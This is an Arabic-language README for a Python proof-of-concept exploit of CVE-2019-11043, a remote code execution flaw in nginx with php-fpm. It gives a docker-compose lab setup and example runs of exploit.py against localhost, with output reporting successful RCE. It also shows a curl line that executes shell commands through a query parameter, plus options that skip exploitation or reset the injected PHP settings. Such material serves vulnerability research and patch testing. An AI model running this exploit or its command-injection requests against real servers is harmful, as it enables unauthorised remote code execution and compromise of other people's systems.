
(PoC) نسخة بايثون من استغلال CVE-2019-11043 بواسطة neex
نسخة Python من استغلال CVE-2019-11043 https://github.com/neex/phuip-fpizdam
لا يزال هذا الـ PoC مسودة، يرجى استخدام الاستغلال الذي كتبه @neex
تحليل الثغرة: https://paper.seebug.org/1064/
فقط قم بتشغيل docker compose لتشغيل nginx وphp-fpm:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
إذا كنت ترغب في قراءة سجلات php-fpm، يمكنك تشغيل:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
يجب أن تكون قادرًا على تنفيذ الأوامر باستخدام:
curl http://localhost/index.php?a=bin/ls+/
إذا كنت تريد فقط التحقق من وجود الثغرة، وتخطي الاستغلال:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
يمكنك محاولة قتل عملية php-fpm وإعادة تعيين جميع إعدادات PHP المحقونة باستخدام --reset:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265